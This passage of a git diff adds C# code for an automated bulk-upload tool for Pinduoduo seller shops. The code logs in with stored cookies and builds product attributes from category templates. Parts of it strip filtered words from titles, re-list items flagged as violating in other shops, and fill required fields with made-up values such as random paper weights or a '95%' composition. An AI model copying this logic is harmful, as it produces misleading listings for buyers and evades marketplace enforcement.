+ { + bool ishas = false; + for (int i = 0; i < UploadPinduoduoMain.brandNameList.Count; i++) + { + if (t.Titlte.Contains(brandNameList[i])) + { + ishas = true; + break; + } + } + if (ishas)//!(UploadPinduoduoMain.SelBrand && ishas) + { + LogSave.Add(Name, Shop.Name + " 遇到品牌数据,跳过 " + t.FromId + " 该产品..."); + Thread.Sleep(1000); + continue; + } + } + if (UploadPinduoduoMain.IrregularitiesWord) + { + foreach (string s in UploadPinduoduoMain.brandFilterNameList) + { + if (t.Titlte.Contains("【"))//移除【】和之间的数据 + { + string delStr = BaseRegex.GetMatchRegexString(ref t.Titlte, @"(【[\w\W]+?】)"); + t.Titlte = t.Titlte.Replace(delStr, ""); + } + if (t.Titlte.Contains("["))//移除【】和之间的数据 + { + string delStr = BaseRegex.GetMatchRegexString(ref t.Titlte, @"([[\w\W]+?])"); + t.Titlte = t.Titlte.Replace(delStr, ""); + } + if (t.Titlte.Contains(s)) + t.Titlte = t.Titlte.Replace(s, ""); + } + } + } + catch + { + continue; + } + t.Titlte = t.Titlte.Replace("//", "").Replace("\\", "");//Replace("/", "") + maxCount++; + if (maxCount > UploadPinduoduoMain.MaxUpload) + return; + try + { + string[] l = UploadPinduoduoMain.PreFixTitle.Split('\n'); + if (!string.IsNullOrEmpty(UploadPinduoduoMain.PreFixTitle)) + { + if (loopPrexCount >= l.Length) + { + loopPrexCount = 0; + } + if (!t.Titlte.Contains(l[loopPrexCount]) && UploadPinduoduoMain.fixName == "前缀") + { + t.Titlte = l[loopPrexCount].Replace("\r", "").Trim() + t.Titlte; + if (BaseClass.GetCharLength(t.Titlte) > 60) + t.Titlte = BaseClass.SubCharLength(t.Titlte, 60); + } + if (!t.Titlte.Contains(l[loopPrexCount]) && UploadPinduoduoMain.fixName == "后缀") + { + t.Titlte = t.Titlte + l[loopPrexCount].Replace("\r", "").Trim(); + if (BaseClass.GetCharLength(t.Titlte) > 60) + t.Titlte = BaseClass.SubCharLength(t.Titlte, 60); + } + } + loopPrexCount++; + } + catch + { + continue; + } + Threadx.ThreadListWait(ref ts, new Thread(new UploadPinduoduoSet(Shop, Name, t).Get), UploadPinduoduoMain.SingleThreadCount); + Thread.Sleep(3 * 1000); + if (first && UploadPinduoduoMain.SingleThreadCount > 1) + { + first = false; + Thread.Sleep(20 * 1000); + } + } + Threadx.ThreadListWait(ref ts); + } + /// + /// 新增违规到其他店铺 + /// + public void GetResureAdd() + { + List ts = new List(); + if (Shop.ExpressId == 0) + { + Shop.ExpressId = new UpdatePinduoduoExpressSet().GetFirst(Shop.Cookies, Shop.MallId, Shop); + if (Shop.ExpressId == 0) + { + Thread.Sleep(10000); + Shop.ExpressId = new UpdatePinduoduoExpressSet().GetFirst(Shop.Cookies, Shop.MallId, Shop); + } + if (Shop.ExpressId == 0) + { + LogSave.Add(Name, "运费模板未找到"); + Shop.Message = "请设置运费模板"; + UploadPinduoduoMain.ShopTemp.Add(Shop); + return; + } + } + for (int i = 0; i < productList.Count; i++) + { + var shop = GetShopLoginInfo.Shops.Find(s => s.ShopName == productList[i].ShopName); + if (shop == null) + continue; + if (shop == Shop) + continue; + var uc = new UploadShopControl(Name, Shop, shop); + uc.product = productList[i]; + uc.GetAddRes(); + Thread.Sleep(3000); + } + } + + public void GetAllShopGoodsCount() + { + int mallId = Shop.MallId; + string cookies = Shop.Cookies, shopName = Shop.ShopName; + string url = "https://mms.pinduoduo.com/vodka/v2/mms/query/display/mall/goodsList"; + string refere = "https://mms.pinduoduo.com/Pdd.html"; + string data = "{\"order_by\":\"id:desc\",\"is_onsale\":1,\"size\":100,\"page\":#page#,\"mall_id\":" + mallId + "}"; + string html = CpsSetAllGoods.Request_mms_pinduoduo_com(url, refere, cookies, data.Replace("#page#", "1"), CpsSetAllGoods.getAnti0aon()); + if (string.IsNullOrEmpty(html) || !html.Contains("total")) + { + Thread.Sleep(10 * 1000); + html = CpsSetAllGoods.Request_mms_pinduoduo_com(url, refere, cookies, data.Replace("#page#", "1"), CpsSetAllGoods.getAnti0aon()); + } + Shop.ProductCount = BaseRegex.GetIntJson(ref html, "total"); + + url = "https://mms.pinduoduo.com/earth/api/mallPunishment"; + refere = "https://mms.pinduoduo.com/Pdd.html"; + data = "{\"size\":\"5\" }"; + //第一页匹配结果 + html = CpsSetAllGoods.Request_mms_pinduoduo_com(url, refere, cookies, data, CpsSetAllGoods.getAnti0aon()); + //惩罚店铺 + int level = BaseRegex.GetIntJson(ref html, "punishmentLevel"); + string punishment = string.Empty; + if (level == 1) + { + punishment = "一级惩罚"; + } + else if (level == 2) + { + punishment = "二级惩罚"; + } + else if (level == 3) + { + punishment = "三级惩罚"; + } + else + { + punishment = "无"; + } + //罚款结束时间 + string punEndtime = BaseRegex.GetStringJson(ref html, "endTime"); + if (string.IsNullOrEmpty(punEndtime)) + { + punishment = "无"; + } + if (punishment != "无") + { + Shop.Message = punishment; + Shop.CanUpload = false; + } + UploadPinduoduoMain.ShopTemp.Add(Shop); + } + + public static List brandNameList = new List(); + + + public static bool IrregularitiesWordFun(string title) + { + if (string.IsNullOrEmpty(title) || brandNameList.Count == 0) + return false; + foreach (string s in brandNameList) + { + if (title.Contains(s)) + return true; + } + return false; + } + + + public static bool CanUser(ShopChatBase shop) + { + string url = BaseClass.BuildObjString("pdd_shop_temp&act=goup"); + string data = UserLogin.GetSignaturex(shop.ShopId, shop.ShopName); + string html = GetHtml.PostUtf8(url, data); + //string html = GetHtml.PostUtf8(url, data + "&act=goup"); + if (html == "go") + return true; + return false; + } + + + + } + + + public class ImageUrlBase + { + public ImageUrlBase(string url, int w, int h) + { + Url = url; + Width = w; + Height = h; + } + + public string Url; + public int Width; + public int Height; + } + + public class ProductInfo + { + public long productId = 0; + public string productName = ""; + public bool offLine = false; + public DateTime updateTime; + } + public class OnOrOffStatus + { + public string shopName = ""; + public string onStatus = ""; + public string offStatus = ""; + } + public class DelGroupStatus + { + public string shopName = ""; + public string goodStatus = ""; + public string goodOnStatus = ""; + public string goodOffStatus = ""; + public int count = 0; + public int goodsCount = 0; + public int goodsOnCount = 0; + public int goodsOffCount = 0; + public int offCount = 0; + public int onCount = 0; + public int delCount = 0; + public int resCount = 0; + public int vioCount = 0; + /// + /// 售罄商品数量 + /// + public int soldOutCount = 0; + } + public class OnOrOffProuduct + { + public long id = 0; + public string message = ""; + public string shopName = ""; + public string name = ""; + } + public class PriceRangeModel + { + public int MinPrice = 0; + public int MaxPrice = 0; + public int CoupPrice = 0; + } +} diff --git a/Work/Api/UploadPinduoduoProperties.cs b/Work/Api/UploadPinduoduoProperties.cs new file mode 100644 index 0000000..bb9c1a9 --- /dev/null +++ b/Work/Api/UploadPinduoduoProperties.cs @@ -0,0 +1,3251 @@ +using System; +using System.Collections.Generic; +using AllBase; +using System.Text; +using System.Threading; +using System.Text.RegularExpressions; + +namespace Work.Api +{ + public class UploadPinduoduoProperties + { + public static List Properties = new List(); + public static Dictionary CatTemplate = new Dictionary(); + public static Dictionary DefaultProperties = new Dictionary(); + + public static void Ini() + { + if (DefaultProperties.Count == 0) + { + GetDefaultProperties(); + } + //string file = FileBase.ReadAllText("mobelx.dll"); + //if (string.IsNullOrEmpty(file)) + // return; + //CatTemplate = JsonHelper.DeserializeJsonToObject>(file); + //if (CatTemplate == null) + // CatTemplate = new Dictionary(); + //for (int i = 0; i < Properties.Count; i++) + //{ + // Properties[i].value_unit = ""; + // for (int j = 0; j < Properties[i].Values.Count; j++) + // { + // if (string.IsNullOrEmpty(Properties[i].Values[j].p_unit)) + // Properties[i].Values[j].p_unit = ""; + // } + // if (Properties[i].pid == 93) + // { + // for (int j = 0; j < Properties[i].cats.Count; j++) + // { + // if (Properties.Exists(p => p.pid == 59 && p.cats.Contains(Properties[i].cats[j]))) + // continue; + // var m = new ModelBase(); + // m.name = "中国国家强制性产品认证证书"; + // m.name_all = "中国国家强制性产品认证证书"; + // m.must = true; + // m.show_type = 1; + // m.template_pid = 33178; + // m.template_module_id = 7207; + // m.pid = 59; + // m.cats = Properties[i].cats; + // m.value_unit = ""; + // Properties.Add(m); + // } + // } + //} + } + /// + /// 获取必填项 + /// + /// + /// + /// + public static string GetNew(int catId, int cat1, ref ProductCollectBase pc, ref ShopChatBase shop, out string mustCode, bool flag = false) + { + mustCode = ""; + CatTemplateBase ct = null; + if (!UploadPinduoduoMain.CatDayTemp.ContainsKey(catId)) + { + try + { + UploadPinduoduoMain.GetCateTempHtml(catId); + } + catch + { + } + } + string html = ""; + if (UploadPinduoduoMain.CatDayTemp.ContainsKey(catId)) + { + if (UploadPinduoduoMain.CatDayTemp[catId] > DateTime.Now.AddHours(-24)) + html = UploadPinduoduoMain.CatHtmlTemp[catId]; + else + { + if (CatTemplate.ContainsKey(catId)) + CatTemplate.Remove(catId); + } + } + if (!CatTemplate.ContainsKey(catId)) + { + if (string.IsNullOrEmpty(html)) + { + html = new PinduoduoApiGetProduct(shop).GetCatTemp(catId); + if (html.Contains("提交错误")) + { + Thread.Sleep(20 * 1000); + html = new PinduoduoApiGetProduct(shop).GetCatTemp(catId); + } + else + { + if (UploadPinduoduoMain.CatDayTemp.ContainsKey(catId)) + UploadPinduoduoMain.CatDayTemp[catId] = DateTime.Now; + else + UploadPinduoduoMain.CatDayTemp.Add(catId, DateTime.Now); + + if (UploadPinduoduoMain.CatHtmlTemp.ContainsKey(catId)) + UploadPinduoduoMain.CatHtmlTemp[catId] = html; + else + UploadPinduoduoMain.CatHtmlTemp.Add(catId, html); + + string tempFile = "temp/cattemp/" + catId + "cathtml.tjm"; + string temp = catId + "@" + DateTime.Now.ToString("yyyy-MM-dd") + "@" + html + "\r\n"; + FileBase.WriteAllText(tempFile, temp); + } + } + try + { + if (html.Contains("properties")) + ct = JsonHelper.DeserializeJsonToObject(html); + CatTemplate.Add(catId, ct); + } + catch (Exception ex) + { + } + } + string code = ""; + //if (catId == 14932) + //{ + // code = + // ",{\"template_pid\":40870,\"template_module_id\":8747,\"pid\":5,\"value\":\"\",\"value_unit\":\"\"},{\"template_pid\":40871,\"template_module_id\":8747,\"pid\":9,\"value\":\"\",\"value_unit\":\"\"},{\"template_pid\":40872,\"template_module_id\":8747,\"pid\":55,\"value\":\"\",\"value_unit\":\"\"},{\"template_pid\":40874,\"template_module_id\":8747,\"pid\":316,\"vid\":0,\"value\":\"未知\",\"value_unit\":\"\"},{\"template_pid\":40875,\"template_module_id\":8747,\"pid\":317,\"vid\":0,\"value\":\"未知\",\"value_unit\":\"\"},{\"template_pid\":40876,\"template_module_id\":8747,\"pid\":93,\"vid\":24044,\"value\":\"\",\"value_unit\":\"\"}," + + // "{\"template_pid\":40877,\"template_module_id\":8747,\"pid\":351,\"vid\":0,\"value\":\"" + + // Randomx.GetId(2000, 5017) + "/" + Randomx.GetId(10000, 50017) + + // "\",\"value_unit\":\"\"},{\"template_pid\":40878,\"template_module_id\":8747,\"pid\":352,\"vid\":84120,\"value\":\"\",\"value_unit\":\"\"},{\"template_pid\":40879,\"template_module_id\":8747,\"pid\":175,\"vid\":84126,\"value\":\"\",\"value_unit\":\"\"}"; + // return code; + //} + if (catId == 17402) //卷筒纸 + { + //code = + // ",{\"template_pid\":45053,\"template_module_id\":9772,\"pid\":275,\"vid\":0,\"value\":\"" + + // Randomx.GetId(20, 200) + + // "\",\"value_unit\":\"g\"},{\"template_pid\":45054,\"template_module_id\":9772,\"pid\":162,\"vid\":0,\"value_unit\":\"卷\"},{\"template_pid\":45055,\"template_module_id\":9772,\"pid\":64,\"vid\":0,\"value\":\"100,100\",\"value_unit\":\"mm\"},{\"template_pid\":45056,\"template_module_id\":9772,\"pid\":336,\"vid\":83637,\"value\":\"\",\"value_unit\":\"\"},{\"template_pid\":45057,\"template_module_id\":9772,\"pid\":33,\"value\":\"\",\"value_unit\":\"\"},{\"template_pid\":45058,\"template_module_id\":9772,\"pid\":16,\"value\":\"\",\"value_unit\":\"\"},{\"template_pid\":45059,\"template_module_id\":9772,\"pid\":340,\"value\":\"\",\"value_unit\":\"\"},{\"template_pid\":45060,\"template_module_id\":9772,\"pid\":339,\"value\":\"\",\"value_unit\":\"\"}"; + + code = ",{\"template_pid\":59755,\"template_module_id\":14554,\"pid\":275,\"vid\":0,\"value\":\"" + + Randomx.GetId(20, 200) + "\",\"value_unit\":\"g\"},{\"template_pid\":59756,\"template_module_id\":14554,\"pid\":162,\"vid\":0,\"value_unit\":\"卷\"},{\"template_pid\":59757,\"template_module_id\":14554,\"pid\":64,\"vid\":0,\"value\":\"100,100\",\"value_unit\":\"mm\"},{\"template_pid\":59758,\"template_module_id\":14554,\"pid\":336,\"vid\":83639,\"value\":\"\",\"value_unit\":\"\"},{\"template_pid\":59759,\"template_module_id\":14554,\"pid\":33,\"vid\":\"\",\"value\":\"\",\"value_unit\":\"\"},{\"template_pid\":59760,\"template_module_id\":14554,\"pid\":16,\"vid\":83630,\"value\":\"\",\"value_unit\":\"\"},{\"template_pid\":59761,\"template_module_id\":14554,\"pid\":340,\"vid\":\"\",\"value\":\"\",\"value_unit\":\"\"},{\"template_pid\":59762,\"template_module_id\":14554,\"pid\":339,\"vid\":\"\",\"value\":\"\",\"value_unit\":\"\"}"; + return code; + } + if (catId == 17399) //抽纸 + { + code = + ",{\"template_pid\":45017,\"template_module_id\":9766,\"pid\":336,\"vid\":83637,\"value\":\"\",\"value_unit\":\"\"},{\"template_pid\":45018,\"template_module_id\":9766,\"pid\":191,\"vid\":0,\"value\":\"100\",\"value_unit\":\"抽\"},{\"template_pid\":45020,\"template_module_id\":9766,\"pid\":64,\"vid\":0,\"value\":\"100,100\",\"value_unit\":\"mm\"}"; + return code; + } + //if (catId == 8653) //国产腕表 + //{ + // code = + // ",{\"template_pid\":57869,\"template_module_id\":14217,\"pid\":133,\"vid\":0,\"value\":\"26\",\"value_unit\":\"mm\"}"; + // return code; + //} + if (!CatTemplate.ContainsKey(catId) || CatTemplate[catId] == null) + return code; + var template = CatTemplate[catId].open_api_response; + if (template.properties == null || template.properties.Count == 0) + return code; + + + var propertiesTemp = new List(); + foreach (PropertiesBase p in template.properties) + propertiesTemp.Add(p); + //存放 父-儿 父vid 子vid 通过父节点找子节点 + Dictionary dicPro = new Dictionary(); + + List parentlist = new List(); + List prolst = new List(); + LinkList nodelst = new LinkList(); + for (int i = 0; i < propertiesTemp.Count; i++) + { + if (propertiesTemp[i].parent_id > 0) + { + if (!prolst.Contains(propertiesTemp[i].id)) + prolst.Add(propertiesTemp[i].id); + if (!prolst.Contains(propertiesTemp[i].parent_id)) + { + prolst.Add(propertiesTemp[i].parent_id); + parentlist.Add(propertiesTemp[i].parent_id); + } + dicPro.Add(propertiesTemp[i].id, propertiesTemp[i].parent_id); + } + } + foreach (KeyValuePair kvp in dicPro) + { + Node current = nodelst.GetNodeValue(1); + int index = 0; + bool ishas = false; + while (current != null) + { + if (current.id == kvp.Value) + { + index++; + ishas = true; + break; + } + current = current.next; + } + if (ishas) + { + nodelst.Insert((int)kvp.Key, index); + } + else + { + nodelst.Append((int)kvp.Key); + nodelst.Append((int)kvp.Value); + } + } + + + Dictionary dic = new Dictionary(); + for (int i = 0; i < parentlist.Count; i++) + { + string str = ""; + foreach (KeyValuePair kvp in dicPro) + { + if (kvp.Value == parentlist[i]) + { + str += "," + kvp.Key; + } + } + if (str.Split(',').Length > 2) + dic.Add(parentlist[i], str); + } + Node tempNode = nodelst.GetNodeValue(1); + prolst.Clear(); + while (tempNode != null) + { + prolst.Add(tempNode.id); + tempNode = tempNode.next; + } + //prolst.Sort((left, right) => + //{ + // if (left > right) + // return -1; + // else if (left == right) + // return 0; + // else + // return 1; + //}); + //prolst.Clear(); + //foreach (var item in dicPro.Keys) + //{ + // prolst.Add(item); + //} + //foreach (var item in dicPro.Values) + //{ + // if (!prolst.Contains(item)) + // prolst.Add(item); + //} + //prolst.Sort((left, right) => + //{ + // if (left > right) + // return -1; + // else if (left == right) + // return 0; + // else + // return 1; + //}); + + var properties = new List(); + foreach (PropertiesBase p in template.properties) + properties.Add(p); + + var levelproperties = new List(); + for (int i = 0; i < prolst.Count; i++) + { + var p = propertiesTemp.Find(pr => pr.id == prolst[i]); + if (p != null) + { + levelproperties.Add(p); + properties.Remove(p); + } + } + Dictionary> vidParentIds = new Dictionary>(); + + for (int i = 0; i < levelproperties.Count; i++) + { + string value = ""; + int vid = 0; + KeyValueBase po = null; + var p = levelproperties[i]; + if (p.name == null) + p.name = p.name_alias; + if (p.name == null) + continue; + bool isskp = false; + foreach (KeyValuePair kvp in dic) + { + if (kvp.Value.Contains(p.id.ToString()) && p.required == false) + { + isskp = true; + levelproperties.RemoveAt(i); + i--; + break; + } + } + if (isskp) + continue; + if (flag && (p.name.Contains("材质") || p.name.Contains("成分含量") || p.name.Contains("面料"))) + continue; + #region 产地 + if (p.name == "产地") + { + var area = p.values.Find(v => v.vid == 24044); + if (area == null) continue; + int? parentid = p.parent_id; + vid = 24044;//中国 + po = pc.Prop.Find(pr => pr.Key == "产地"); + if (po == null) + po = pc.Prop.Find(pr => pr.Key.Contains("产地")); + if (!string.IsNullOrEmpty(pc.country) && shop.MainCatName == "海淘进口") + { + string country = pc.country; + if (p.values.Find(v => v.value == country) != null) + { + vid = (int)(p.values.Find(v => v.value == country).vid); + } + } + if (po != null || catId == 18680 || p.required == true) + code += ",{\"template_pid\":" + p.id + ",\"vid\":" + vid + ",\"value\":\"" + value + "\",\"value_unit\":\"" + p.value_unit + "\"}"; + if (p.required == true) + mustCode += ",{\"template_pid\":" + p.id + ",\"vid\":" + vid + ",\"value\":\"" + value + "\",\"value_unit\":\"" + p.value_unit + "\"}"; + levelproperties.RemoveAt(i); + i--; + continue; + } + #endregion + + #region 成分含量 + if (p.name == "成分含量") + { + po = pc.Prop.Find(pr => pr.Key == "材质成分"); + if (po == null) + po = pc.Prop.Find(pr => pr.Key.Contains("成分")); + if (po == null) + po = pc.Prop.Find(pr => pr.Value.Contains("%")); + if (po != null && (po.Value.Contains("其他") || po.Value.Contains("其它"))) + po.Value = "95%"; + string percent = ""; + if (po != null) + percent = BaseRegex.GetMatchRegexString(po.Value, @"([\d.]+)%"); + + int? vidxt = 0;//父节点ID + foreach (int key in dicPro.Keys)//子节点找父节点 + { + if (key == p.id) + { + vidxt = dicPro[key]; + break; + } + } + if (po == null && (pc.from_name.Contains("纯") || pc.from_name.Contains("100%") + || pc.name.Contains("纯") || pc.name.Contains("100%") + || (!string.IsNullOrEmpty(pc.content_pinduoduo) && pc.content_pinduoduo.Contains("100%")))) + { + po = new KeyValueBase("成分含量", "100"); + percent = "100"; + } + if (po == null || string.IsNullOrEmpty(percent))//未匹配到则自动选择最低 + { + vid = 14503;//少于30% + for (int k = 0; p.values != null && k < p.values.Count; k++) + { + if (p.values[k].value.Contains("30%")) + { + vid = (int)p.values[k].vid; + break; + } + } + + if (vid > 0 && p.values != null) + { + var item = p.values.Find(v => v.vid == vid); + if (p.parent_id > 0) + { + if (!vidParentIds.ContainsKey((int)vidxt))//限制父节点取值 + { + if (item != null && item.parent_vids != null) + vidParentIds.Add((int)vidxt, item.parent_vids); + } + } + } + code += ",{\"template_pid\":" + p.id + ",\"vid\":" + vid + ",\"value\":\"" + value + "\",\"value_unit\":\"" + p.value_unit + "\"}"; + if (p.required == true) + mustCode += ",{\"template_pid\":" + p.id + ",\"vid\":" + vid + ",\"value\":\"" + value + "\",\"value_unit\":\"" + p.value_unit + "\"}"; + levelproperties.RemoveAt(i); + i--; + continue; + } + int per = (int)(decimal.Parse(percent)); + for (int j = 0; p.values != null && j < p.values.Count; j++) + { + var m = BaseRegex.GetMatchRegex(p.values[j].value, @"([\d]+)%"); + int min = 0, max = 0; + if (m == null || m.Count == 0) + break; + if (m.Count == 1) + { + min = max = int.Parse(m[0].Groups[1].Value); + if (p.values[j].value.Contains("小于") || p.values[j].value.Contains("少于") || p.values[j].value.Contains("以下")) + min = 0; + if (p.values[j].value.Contains("大于") || p.values[j].value.Contains("多于") || p.values[j].value.Contains("以上")) + max = 100; + } + if (m.Count == 2) + { + min = int.Parse(m[0].Groups[1].Value); + max = int.Parse(m[1].Groups[1].Value); + } + if (per >= min && per <= max) + { + vid = (int)p.values[j].vid; + if (p.parent_id > 0) + { + if (!vidParentIds.ContainsKey((int)vidxt) && p.values[j].parent_vids != null)//限制父节点取值 + { + if (p.values[j].parent_vids.Count <= 1) + continue; + vidParentIds.Add((int)vidxt, p.values[j].parent_vids); + if (!p.values[j].value.Contains("其它")) + break; + } + continue; + } + } + } + if (vid == 0) + vid = 14503;//少于30% + code += ",{\"template_pid\":" + p.id + ",\"vid\":" + vid + ",\"value\":\"" + value + "\",\"value_unit\":\"" + p.value_unit + "\"}"; + if (p.required == true) + mustCode += ",{\"template_pid\":" + p.id + ",\"vid\":" + vid + ",\"value\":\"" + value + "\",\"value_unit\":\"" + p.value_unit + "\"}"; + levelproperties.RemoveAt(i); + i--; + continue; + } + #endregion + if (p.name != null && p.name.Contains("材质")) + po = pc.Prop.Find(pr => pr.Key == "材质成分" && (pr.Key.Contains(p.name) || pr.Key.Contains(p.name_alias))); + else + po = pc.Prop.Find(pr => pr.Key == p.name || pr.Key == p.name_alias); + if (po != null && po.Key == "材质" && po.Value.Contains("他")) + po = pc.Prop.Find(pr => pr.Key == "材质成分" && (pr.Key.Contains(p.name) || pr.Key.Contains(p.name_alias))); + if (po == null&&p.name != null && p.name.Contains("材质")) + po = pc.Prop.Find(pr => pr.Key.Contains("材质")); + if (po == null) + po = pc.Prop.Find(pr => pr.Key.Contains(p.name) || pr.Key.Contains(p.name_alias)); + if (p.name == "3C认证证书编号") + po = pc.Prop.Find(pr => pr.Key.Contains("证书编号")); + if (po == null && p.name == "包装规格" && p.name_alias == "药品规格") + po = pc.Prop.Find(pr => pr.Key.Contains("规格")); + if (po == null && p.name == "包装规格" && p.name_alias == "商品规格") + po = pc.Prop.Find(pr => pr.Key.Contains("规格")); + if (po == null && p.name == "药品类别") + po = pc.Prop.Find(pr => pr.Key.Contains("类别")); + if (p.name == "容量") + po = pc.Prop.Find(pr => pr.Key == "3C规格型号"); + #region 面料材质 + if (p.name.Contains("面料俗称") || p.name.Contains("面料材质") || p.name.Contains("材质") || p.name == "材质" || p.name == "面料") + { + if (po == null||Regex.IsMatch(po.Value,"^[0-9%]+$")) + { + po = pc.Prop.Find(pr => pr.Key == p.name || pr.Key == p.name_alias || pr.Key.Contains("材质") || pr.Key.Contains("面料"));//|| pr.Key.Contains("材质") || pr.Key.Contains("面料") + } + for (int j = 0; j < p.values.Count; j++) + { + if (po != null && po.Key.Contains("/")) + { + string v1 = po.Value.Split('/')[0]; + + string v2 = po.Value.Split('/').Length == 2 ? po.Value.Split('/')[1] : v1; + + //if (p.values[j].value.Contains(v1) || p.values[j].value.Contains(v2) || v1.Contains(p.values[j].value) + // || v2.Contains(p.values[j].value)) + if ((p.name.Contains("面料") && (p.values[j].value.Contains(v1) || v1.Contains(p.values[j].value))) || (p.name.Contains("材质") && (p.values[j].value.Contains(v2) || v2.Contains(p.values[j].value)))) + { + int? vidxt = 0;//父节点ID + foreach (int key in dicPro.Keys)//子节点找父节点 + { + if (key == p.id) + { + vidxt = dicPro[key]; + break; + } + } + + + vid = (int)p.values[j].vid; + //判断是否允许选择该vid,是否在可选范围内 + if (vidParentIds.ContainsKey((int)p.id) && vidParentIds[(int)p.id] != null && vidParentIds[(int)p.id].Count > 0) + { + var px = vidParentIds[(int)p.id].Find(s => s == vid); + if (p.parent_id > 0) + { + if (!vidParentIds.ContainsKey((int)vidxt) && p.values[j].parent_vids != null)//限制父节点取值 + { + vidParentIds.Add((int)vidxt, p.values[j].parent_vids); + if (px > 0) + break; + } + vid = 0; + continue; + } + if (px == 0) + { + vid = 0; + continue; + } + // break; + //else + // continue; + } //如果子节点没有找到 + + if (p.parent_id == 0) + break; + if (p.parent_id > 0) + { + if (!vidParentIds.ContainsKey((int)vidxt) && p.values[j].parent_vids != null)//限制父节点取值 + { + vidParentIds.Add((int)vidxt, p.values[j].parent_vids); + //if (px>0) + break; + } + if (p.values[j].parent_vids == null) + break; + vid = 0; + continue; + } + vid = 0; + continue; + } + }// + else + { + if (po == null) + po = pc.Prop.Find(pr => pr.Value == p.values[j].value); + if (po != null) + { + if (po.Value.Contains("%")) + { + po.Value = BaseRegex.GetMatchRegexString(ref po.Value, @"([\s\S]+?)[\d]"); + } + if (p.values[j].value.Contains("(") || p.values[j].value.Contains("(")) + { + p.values[j].value = BaseRegex.GetMatchRegexString(ref p.values[j].value, @"[(|(]([\s\S]+?)[)|)]"); + } + if (p.values[j].value.Contains(po.Value.Replace(")", ")").Replace("(", "(")) || po.Value.Contains(p.values[j].value.Replace(")", ")").Replace("(", "(")) + || p.values[j].value.Contains(po.Value.Split('+')[0])) + { + int? vidxt = 0;//子节点ID + foreach (int key in dicPro.Keys)//父节点找子节点 + { + if (key == p.id) + { + vidxt = dicPro[key]; + break; + } + } + vid = (int)p.values[j].vid; + //判断是否允许选择该vid,是否在可选范围内 + if (vidParentIds.ContainsKey((int)p.id) && vidParentIds[(int)p.id] != null && vidParentIds[(int)p.id].Count > 0) + { + var px = vidParentIds[(int)p.id].Find(s => s == vid); + if (p.parent_id > 0) + { + if (!vidParentIds.ContainsKey((int)vidxt) && p.values[j].parent_vids != null)//限制父节点取值 + { + vidParentIds.Add((int)vidxt, p.values[j].parent_vids); + if (px > 0) + break; + } + vid = 0; + continue; + } + if (px == 0) + { + vid = 0; + continue; + } + // break; + //else + // continue; + } //如果子节点没有找到 + + if (p.parent_id == 0) + break; + if (p.parent_id > 0) + { + if (!vidParentIds.ContainsKey((int)vidxt) && p.values[j].parent_vids != null)//限制父节点取值 + { + vidParentIds.Add((int)vidxt, p.values[j].parent_vids); + break; + //if (p.parent_id > 0) + //{ + // if (!vidParentIds.ContainsKey((int)vidxt))//限制父节点取值 + // { + // vidParentIds.Add((int)vidxt, p.values[j].parent_vids); + // //if (px>0) + // break; + // } + // vid = 0; + // continue; + //} + //if (!p.values[j].value.Contains("其它")) + // break; + } + vid = 0; + continue; + } + } + if (po != null && po.Value.Contains("(") || po.Value.Contains("(")) + { + po.Value = po.Value.Replace("(", "("); + int index = po.Value.IndexOf("("); + string subStr = po.Value.Substring(0, index); + if (p.values[j].value.Contains(subStr) || po.Value.Contains(p.values[j].value.Replace(")", ")").Replace("(", "(")) + || p.values[j].value.Contains(po.Value.Split('+')[0])) + { + int? vidxt = 0;//子节点ID + foreach (int key in dicPro.Keys)//父节点找子节点 + { + if (key == p.id) + { + vidxt = dicPro[key]; + break; + } + } + vid = (int)p.values[j].vid; + //判断是否允许选择该vid,是否在可选范围内 + if (vidParentIds.ContainsKey((int)p.id) && vidParentIds[(int)p.id] != null && vidParentIds[(int)p.id].Count > 0) + { + var px = vidParentIds[(int)p.id].Find(s => s == vid); + if (p.parent_id > 0) + { + if (!vidParentIds.ContainsKey((int)vidxt) && p.values[j].parent_vids != null)//限制父节点取值 + { + vidParentIds.Add((int)vidxt, p.values[j].parent_vids); + if (px > 0) + break; + } + vid = 0; + continue; + } + if (px == 0) + { + vid = 0; + continue; + } + } //如果子节点没有找到 + + if (p.parent_id == 0) + break; + if (p.parent_id > 0) + { + if (!vidParentIds.ContainsKey((int)vidxt) && p.values[j].parent_vids != null)//限制父节点取值 + { + vidParentIds.Add((int)vidxt, p.values[j].parent_vids); + break; + } + vid = 0; + continue; + } + } + + } + } + if (p.values[j].value.Contains("/")) + { + string v1 = p.values[j].value.Split('/')[0]; + string v2 = p.values[j].value.Split('/')[1]; + po = pc.Prop.Find(pr => pr.Value.Contains(v1) || pr.Value.Contains(v2)); + if (po != null) + { + int? vidxt = 0;//子节点ID + foreach (int key in dicPro.Keys)//父节点找子节点 + { + if (key == p.id) + { + vidxt = dicPro[key]; + break; + } + } + vid = (int)p.values[j].vid; + //判断是否允许选择该vid,是否在可选范围内 + if (vidParentIds.ContainsKey((int)p.id)) + { + var px = vidParentIds[(int)p.id].Find(s => s == vid); + if (px > 0)//&& !p.values[j].value.Contains("其它") + break; + else + continue; + } //如果子节点没有找到 + + if (p.parent_id == 0) + break; + if (p.parent_id > 0) + { + if (!vidParentIds.ContainsKey((int)vidxt) && p.values[j].parent_vids != null)//限制父节点取值 + { + vidParentIds.Add((int)vidxt, p.values[j].parent_vids); + //if (!p.values[j].value.Contains("其它")) + break; + } + continue; + } + } + } + if (pc.from_name.Contains(p.values[j].value)) + { + vid = (int)p.values[j].vid; + if (vidParentIds.ContainsKey((int)p.id) && vidParentIds[(int)p.id] != null && vidParentIds[(int)p.id].Count > 0) + { + var px = vidParentIds[(int)p.id].Find(s => s == vid); + if (p.parent_id > 0) + { + int? vidxt = 0;//父节点ID + foreach (int key in dicPro.Keys)//子节点找父节点 + { + if (key == p.id) + { + vidxt = dicPro[key]; + break; + } + } + + if (!vidParentIds.ContainsKey((int)vidxt) && p.values[j].parent_vids != null)//限制父节点取值 + { + vidParentIds.Add((int)vidxt, p.values[j].parent_vids); + if (px > 0) + break; + } + vid = 0; + continue; + } + if (px == 0) + { + vid = 0; + continue; + } + } + if (p.parent_id == 0)//!p.values[j].value.Contains("其它") || + break; + vid = 0; + continue; + } + }// + }//for循环结束 + if (po == null) + { + for (int j = 0; j < p.values.Count; j++) + { + po = pc.Prop.Find(pr => (pr.Key == p.name || pr.Key == p.name_alias) && pr.Value.Contains(p.values[j].value)); + if (po != null) + { + vid = (int)p.values[j].vid; + if (!p.values[j].value.Contains("其它") && p.parent_id == 0) + { + int count = vidParentIds[(int)p.id].Count; + var pid = vidParentIds[(int)p.id].Find(s => s == vid); + if (pid == 0) + vid = vidParentIds[(int)p.id][count - 1]; + break; + } + vid = 0; + continue; + } + if (p.values[j].value.Contains("/")) + { 